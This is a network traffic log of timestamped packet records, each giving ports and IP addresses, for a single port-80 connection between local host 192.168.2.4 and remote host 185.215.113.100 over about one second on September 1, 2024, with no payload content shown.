Sep 1, 2024 01:22:02.968944073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.968976021 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.968990088 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.969192028 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.969247103 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.969402075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.969413996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.969425917 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.969436884 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.969449043 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.969455957 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.969461918 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.969485044 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.969502926 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.970180035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970237970 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.970343113 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970354080 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970364094 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970374107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970392942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.970428944 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.970802069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970817089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970827103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970837116 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970848083 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970856905 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.970877886 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.970896959 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.970928907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970940113 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.970973969 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.971741915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.971750975 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.971760988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.971771955 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.971781969 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.971791029 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.971792936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.971812010 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.971832991 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.971901894 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.971947908 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.972668886 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.972718954 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.972834110 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.972843885 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.972853899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.972862959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.972872019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.972882986 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.972913027 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.972978115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.973021984 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.973504066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.973516941 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.973522902 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.973561049 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.973670959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.973681927 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.973690987 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.973701954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.973721027 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.973748922 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.991039038 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.991096020 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.116571903 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.116584063 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.116595984 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.116627932 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.116647005 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.116657972 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.116657972 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.116668940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.116683006 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.116704941 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.116794109 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.116842985 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.116873980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.116883993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.116894007 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.116916895 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.116930008 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.117096901 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117105961 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117151976 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.117175102 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117183924 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117223024 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.117249012 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.117292881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117338896 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.117341042 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117352009 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117362022 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117383003 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.117404938 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.117572069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117592096 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117602110 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117621899 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.117650032 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.117650032 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117661953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117671013 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.117690086 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.117714882 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118112087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118123055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118132114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118155956 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118165970 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118166924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118177891 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118185997 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118196964 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118211031 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118211985 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118221045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118242025 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118257046 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118798971 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118810892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118827105 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118850946 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118860006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118870020 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118871927 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118881941 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118891954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118899107 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118928909 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118936062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118946075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118956089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118966103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.118977070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.118998051 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.119776011 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.119786024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.119796038 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.119823933 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.119846106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.119852066 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.119857073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.119874954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.119884968 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.119889021 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.119900942 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.119910002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.119915009 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.119941950 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.121417046 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121457100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121465921 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.121530056 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.121557951 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121567011 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121577024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121593952 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121604919 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.121606112 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121615887 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121625900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121628046 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.121644974 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.121648073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121659040 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121668100 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.121668100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121680975 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.121700048 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.121721029 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.122478008 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122488976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122499943 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122529030 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.122553110 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.122682095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122693062 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122703075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122731924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.122767925 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.122953892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122965097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122975111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122984886 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122994900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122998953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.122998953 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.123009920 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123087883 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.123087883 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.123528004 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123541117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123549938 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123572111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.123598099 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.123678923 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123688936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123699903 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123708963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123718977 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123722076 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.123728991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123738050 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.123739958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123749971 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.123770952 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.123788118 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.202889919 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.202903986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.202914000 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.202941895 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.202956915 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.203116894 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.203128099 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.203145027 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.203154087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.203162909 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.203165054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.203190088 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.203212976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.203216076 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.203224897 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.203236103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.203244925 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.203250885 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.203255892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.203259945 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.203277111 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.203304052 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.268831015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.268942118 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.268965960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.268975019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.268985987 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269009113 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269062042 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269120932 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269138098 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269149065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269156933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269164085 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269167900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269176960 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269185066 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269192934 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269202948 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269212008 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269218922 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269222021 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269231081 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269241095 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269243002 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269262075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269262075 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269278049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269279003 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269289970 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269299030 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269304037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269308090 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269309998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269319057 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269328117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269336939 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269346952 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269350052 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269356966 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269366980 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269376993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269380093 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269387007 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269406080 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269412994 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269429922 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269439936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269440889 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269452095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269453049 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269460917 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269473076 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269484043 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269489050 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269495010 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269504070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269514084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269522905 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269527912 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269535065 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269546986 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269562006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269567966 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269581079 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269591093 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269601107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269603968 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269609928 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269620895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269629955 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269633055 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269634962 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269644976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269653082 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269654036 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269665003 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269676924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269695044 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269704103 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269711971 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269721985 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269731998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269737005 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269741058 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269750118 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269761086 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269769907 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269771099 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269778967 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269787073 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269795895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269807100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269809008 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269817114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269826889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269829988 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269839048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269850969 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269851923 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:03.269857883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:03.269867897 CEST	80	49730	185.215.113.100	192.168.2.4
